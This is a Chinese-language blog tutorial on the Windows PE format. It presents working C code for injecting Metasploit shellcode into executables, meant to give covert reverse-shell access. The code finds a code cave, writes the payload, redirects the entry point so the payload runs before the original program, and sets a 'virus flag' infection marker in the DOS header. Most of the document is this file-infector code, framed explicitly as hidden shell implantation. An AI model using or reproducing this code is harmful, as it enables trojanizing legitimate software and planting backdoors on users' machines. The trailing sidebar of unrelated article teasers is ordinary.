2.12 PE結構:實現PE位元組註入

来源:https://www.cnblogs.com/LyShark/archive/2023/09/11/17692859.html
-Advertisement-
Play Games

本章筆者將介紹一種通過Metasploit生成ShellCode並將其註入到特定PE文件內的Shell植入技術。該技術能夠劫持原始PE文件的入口地址,在PE程式運行之前執行ShellCode反彈,執行後掛入後臺並繼續運行原始程式,實現了一種隱蔽的Shell訪問。而我把這種技術叫做位元組註入反彈。位元組註... ...


本章筆者將介紹一種通過Metasploit生成ShellCode並將其註入到特定PE文件內的Shell註入技術。該技術能夠劫持原始PE文件的入口地址,在PE程式運行之前執行ShellCode反彈,執行後掛入後臺並繼續運行原始程式,實現了一種隱蔽的Shell訪問。而我把這種技術叫做位元組註入反彈。

位元組註入功能調用WritePEShellCode函數,該函數的主要作用是接受用戶傳入的一個文件位置,並可以將一段通過Metasploit工具生成的有效載荷註入到特定文件偏移位置處。

讀者在使用該函數之前需要通過WinHex找到註入位置,我們以如下截圖中的30352為例;

接著讀者需要自行準備一段ShellCode代碼,只保留代碼部分去掉頭部變數參數,如下所示;

接著我們使用如下這段代碼中的WritePEShellCode函數,通過傳入指定PE文件路徑,指定文件便宜,以及指定的ShellCode文件路徑,即可自動將其壓縮為一行併在壓縮後將代碼寫出到指定的可執行文件內。

// 將ShellCode寫出到PE程式的特定位置
// 參數1: 指定PE路徑 參數2: 指定文件中的偏移(十進位) 參數3: 指定ShellCode文件
void WritePEShellCode(const char* FilePath, long FileOffset, const char* ShellCode)
{
  HANDLE hFile = NULL;
  FILE* fpointer = NULL;
  DWORD dwNum = 0;

  int count = 0;
  char shellcode[8192] = { 0 };
  unsigned char save[8192] = { 0 };

  // 打開一段ShellCode代碼並處理為一行
  if ((fpointer = fopen(ShellCode, "r")) != NULL)
  {
    char ch = 0;
    for (int x = 0; (ch = fgetc(fpointer)) != EOF;)
    {
      if (ch != L'\n' && ch != L'\"' && ch != L'\\' && ch != L'x' && ch != L';')
      {
        shellcode[x++] = ch;
        count++;
      }
    }
  }
  _fcloseall();

  // 將單位元組合併為雙位元組
  for (int x = 0; x < count / 2; x++)
  {
    unsigned int char_in_hex;
    if (shellcode[x] != 0)
    {
      sscanf(shellcode + 2 * x, "%02X", &char_in_hex);

      // 每十六位元組換一行輸出
      if ((x+1) % 16 == 0)
      {
        printf("0x%02X \n", char_in_hex);
      }
      else
      {
        printf("0x%02X ", char_in_hex);
      }
      save[x] = char_in_hex;
    }
  }

  // 打開PE文件並寫出ShellCode到指定位置
  hFile = CreateFile(FilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (INVALID_HANDLE_VALUE != hFile)
  {
    SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
    bool ref = WriteFile(hFile, save, count/2 , &dwNum, NULL);
    if (true == ref)
    {
      printf("\n\n[*] 已註入 ShellCode 到PE文件 \n[+] 註入起始FOA => 0x%08X \n",FileOffset);
    }
    CloseHandle(hFile);
  }
}

我們通過傳入WritePEShellCode("d://lyshark.exe", 30352, "d://shellcode.txt");參數,運行後則可將特定文本中的機器碼註入到30352的位置處,讀者也可以通過使用WinHex跳轉到對應位置觀察,如下所示;

當然了上述方法註入到PE文件中我們需要手動分析尋找空餘塊,併在註入成功後還需要自行修正PE文件內的入口地址等,這種方式適合於對PE結構非常熟悉的人可以,但也要花費一些精力去尋找分析,如下代碼則是實現了自動化註入功能,該代碼中FindSpace()函數用於從代碼節的末尾開始搜索,尋找特定長度的空餘位置,當找到合適的縫隙後便返回縫隙首地址。

此時dwOep變數記憶體儲的是該程式原始的OEP入口位置,接著將入口地址賦值到*(DWORD *)&shellcode[5]也就是放入到shellcode機器碼的第六個位置處,此處將變更為跳轉到原始入口的指令集,接著調用memcpy函數將shellcode代碼拷貝到新分配的dwAddr記憶體中,此處的strlen(shellcode) + 3代表的是ShellCode中剩餘的\xff\xe0\x00部分,最後將當前EIP指針設置為我們自己的ShellCode所在位置,通過pNtHeader->OptionalHeader.AddressOfEntryPoint賦值設置此變數,至此這個註入器就算實現啦。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";

// 縫隙的搜索從代碼節的末尾開始搜索,有利於快速搜索到縫隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
  // 跳過可選頭長度的數據
  PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
    (((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));

  // 獲取到文件末尾的位置
  DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
  dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;

  LPVOID lp = malloc(sizeof(shellcode));
  memset(lp, 0, sizeof(shellcode));

  while (dwAddr > pSec->Misc.VirtualSize)
  {
    int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
    if (nRet == 0)
      return dwAddr;
    dwAddr--;
  }
  free(lp);
  return 0;
}

int main(int argc, char* argv[])
{
  HANDLE hFile, hMap = NULL;
  LPVOID lpBase = NULL;

  hFile = CreateFile(L"d://lyshark.exe", GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
  lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  PIMAGE_NT_HEADERS pNtHeader = NULL;
  PIMAGE_SECTION_HEADER pSec = NULL;
  IMAGE_SECTION_HEADER imgSec = { 0 };

  if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  {
    printf("[-] 文件非可執行文件 \n");
    return -1;
  }
  pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);

  // 查找空餘位元組
  DWORD dwAddr = FindSpace(lpBase, pNtHeader);
  printf("[*] 找到 %d 位元組 | 起始地址: %X \n", sizeof(shellcode), dwAddr);

  // 獲取到原入口地址
  DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;

  // \xb8 => 填充的就是原始程式的OEP
  *(DWORD *)&shellcode[5] = dwOep;
  printf("[-] 原始入口地址: 0x%08X \n", dwOep);

  // 將shellcode 拷貝到dwAddr記憶體空間里,拷貝長度strlen(shellcode) + 3
  memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);
  dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
  printf("[-] 拷貝記憶體長度: 0x%08X \n", dwAddr);

  // 將新的入口地址,賦值給原始程式的地址上
  pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
  printf("[+] 修正新入口地址: 0x%08X \n", pNtHeader->OptionalHeader.ImageBase + dwAddr);

  UnmapViewOfFile(lpBase);
  CloseHandle(hMap);
  CloseHandle(hFile);

  system("pause");
  return 0;
}

讀者可自行編譯並運行上述代碼,當運行結束後會將ShellCode全局變數中的指令集,寫入到lyshark.exe程式內,並修正當前程式的OEP入口處,此時讀者可運行lyshark.exe程式,看是否能夠正常執行起來,如下圖所示;

此時讀者可自行打開x64dbg調試器,觀察此時的程式入口處已經變成了0x47BFF3執行到最後則通過jmp eax跳轉到了原始的程式入口處繼續執行,這也就是空位元組註入的功能,當讀者自己將nop指令替換為任意特殊的彙編指令時,也就實現了一款註入Shell版本的軟體。

當我們對特定的程式插入Shell後,則還需要對該程式增加一個標誌,在PE結構中有許多地方可以寫入這個標誌,例如DOS頭部存在一個e_cblp變數,通過向該變數寫入一個標誌,當需要判斷是否被感染時讀取此處並檢查是否存在特定值即可,如下代碼則是一個檢查實現方式。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

#define VIRUSFLAGS 0xCCCC

// 向指定文件寫入感染標誌
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
  DWORD dwNum = 0;
  SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
  WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
  return TRUE;
}

// 檢查文件是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
  DWORD dwSigNum = 0;
  DWORD dwNum = 0;
  SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
  ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);

  if (dwSigNum == dwSig)
    return TRUE;
  return FALSE;
}

int main(int argc, char* argv[])
{
  HANDLE hFile, hMap = NULL;
  LPVOID lpBase = NULL;

  hFile = CreateFileA("d://lyshark.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
  lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  PIMAGE_NT_HEADERS pNtHeader = NULL;
  PIMAGE_SECTION_HEADER pSec = NULL;
  IMAGE_SECTION_HEADER imgSec = { 0 };

  if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  {
    printf("[-] 文件非可執行文件 \n");
    return -1;
  }

  pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);

  // 寫入感染標誌
  WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);

  // 返回真說明感染過
  if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile))
  {
    printf("[+] 文件已被感染,無法重覆感染. \n");
  }

  system("pause");
  return 0;
}

由於e_cblp是第二個欄位,所以在填充後我們打開WinHex就可以看到變化,如下圖所示;

本文作者: 王瑞
本文鏈接: https://www.lyshark.com/post/240d333e.html
版權聲明: 本博客所有文章除特別聲明外,均採用 BY-NC-SA 許可協議。轉載請註明出處!

文章作者:lyshark (王瑞)
文章出處:https://www.cnblogs.com/LyShark/p/17692859.html
本博客所有文章除特別聲明外,均採用 BY-NC-SA 許可協議。轉載請註明出處!
您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 使用<property>標簽的value屬性配置原始數據類型和ref屬性配置對象引用的方式來定義Bean配置文件。這兩種情況都涉及將單一值傳遞給Bean。那麼如果您想傳遞多個值,例如Java集合類型,如List、Set、Map和Properties怎麼辦?為了處理這種情況,Spring提供了四種類型 ...
  • 裝飾器 裝飾器的簡易版本 import time def index(): time.sleep(3) print('from index') def home(): print('from home') def func(): print('from func') def outer(func_n ...
  • 數據來源:House Prices - Advanced Regression Techniques 參考文獻: Comprehensive data exploration with Python 1. 導入數據 import pandas as pd import warnings warnin ...
  • SpringBoot-Learning系列之Kafka整合 本系列是一個獨立的SpringBoot學習系列,本著 What Why How 的思想去整合Java開發領域各種組件。 消息系統 主要應用場景 流量消峰(秒殺 搶購)、應用解耦(核心業務與非核心業務之間的解耦) 非同步處理、順序處理 實時數據 ...
  • 前言 最近為一個公眾號h5商城接入了微信支付功能,查找資料過程中踩了很多坑,以此文章記錄一下和大家分享 前期準備 公眾號認證 微信支付功能需要開通企業號併進行資質認證,費用一年300,且需企業營業執照等信息,對公賬戶打款驗證 登錄微信公眾平臺https://mp.weixin.qq.com/,創建服 ...
  • 本文深入探討了Go語言中的代碼包和包引入機制,從基礎概念到高級應用一一剖析。文章詳細講解瞭如何創建、組織和管理代碼包,以及包引入的多種使用場景和最佳實踐。通過閱讀本文,開發者將獲得全面而深入的理解,進一步提升Go開發的效率和質量。 關註公眾號【TechLeadCloud】,分享互聯網架構、雲服務技術 ...
  • 在併發編程中我們為啥一般選用創建多個線程去處理任務而不是創建多個進程呢?這是因為線程之間切換的開銷小,適用於一些要求同時進行並且又要共用某些變數的併發操作。而進程則具有獨立的虛擬地址空間,每個進程都有自己獨立的代碼和數據空間,程式之間的切換會有較大的開銷。 ...
  • 日誌是應用程式的重要組成部分。無論是服務端程式還是客戶端程式都需要日誌做為錯誤輸出或者業務記錄。在這篇文章中,我們結合log4rs聊聊rust 程式中如何使用日誌。 ...
一周排行
    -Advertisement-
    Play Games
  • 示例項目結構 在 Visual Studio 中創建一個 WinForms 應用程式後,項目結構如下所示: MyWinFormsApp/ │ ├───Properties/ │ └───Settings.settings │ ├───bin/ │ ├───Debug/ │ └───Release/ ...
  • [STAThread] 特性用於需要與 COM 組件交互的應用程式,尤其是依賴單線程模型(如 Windows Forms 應用程式)的組件。在 STA 模式下,線程擁有自己的消息迴圈,這對於處理用戶界面和某些 COM 組件是必要的。 [STAThread] static void Main(stri ...
  • 在WinForm中使用全局異常捕獲處理 在WinForm應用程式中,全局異常捕獲是確保程式穩定性的關鍵。通過在Program類的Main方法中設置全局異常處理,可以有效地捕獲並處理未預見的異常,從而避免程式崩潰。 註冊全局異常事件 [STAThread] static void Main() { / ...
  • 前言 給大家推薦一款開源的 Winform 控制項庫,可以幫助我們開發更加美觀、漂亮的 WinForm 界面。 項目介紹 SunnyUI.NET 是一個基於 .NET Framework 4.0+、.NET 6、.NET 7 和 .NET 8 的 WinForm 開源控制項庫,同時也提供了工具類庫、擴展 ...
  • 說明 該文章是屬於OverallAuth2.0系列文章,每周更新一篇該系列文章(從0到1完成系統開發)。 該系統文章,我會儘量說的非常詳細,做到不管新手、老手都能看懂。 說明:OverallAuth2.0 是一個簡單、易懂、功能強大的許可權+可視化流程管理系統。 有興趣的朋友,請關註我吧(*^▽^*) ...
  • 一、下載安裝 1.下載git 必須先下載並安裝git,再TortoiseGit下載安裝 git安裝參考教程:https://blog.csdn.net/mukes/article/details/115693833 2.TortoiseGit下載與安裝 TortoiseGit,Git客戶端,32/6 ...
  • 前言 在項目開發過程中,理解數據結構和演算法如同掌握蓋房子的秘訣。演算法不僅能幫助我們編寫高效、優質的代碼,還能解決項目中遇到的各種難題。 給大家推薦一個支持C#的開源免費、新手友好的數據結構與演算法入門教程:Hello演算法。 項目介紹 《Hello Algo》是一本開源免費、新手友好的數據結構與演算法入門 ...
  • 1.生成單個Proto.bat內容 @rem Copyright 2016, Google Inc. @rem All rights reserved. @rem @rem Redistribution and use in source and binary forms, with or with ...
  • 一:背景 1. 講故事 前段時間有位朋友找到我,說他的窗體程式在客戶這邊出現了卡死,讓我幫忙看下怎麼回事?dump也生成了,既然有dump了那就上 windbg 分析吧。 二:WinDbg 分析 1. 為什麼會卡死 窗體程式的卡死,入口門檻很低,後續往下分析就不一定了,不管怎麼說先用 !clrsta ...
  • 前言 人工智慧時代,人臉識別技術已成為安全驗證、身份識別和用戶交互的關鍵工具。 給大家推薦一款.NET 開源提供了強大的人臉識別 API,工具不僅易於集成,還具備高效處理能力。 本文將介紹一款如何利用這些API,為我們的項目添加智能識別的亮點。 項目介紹 GitHub 上擁有 1.2k 星標的 C# ...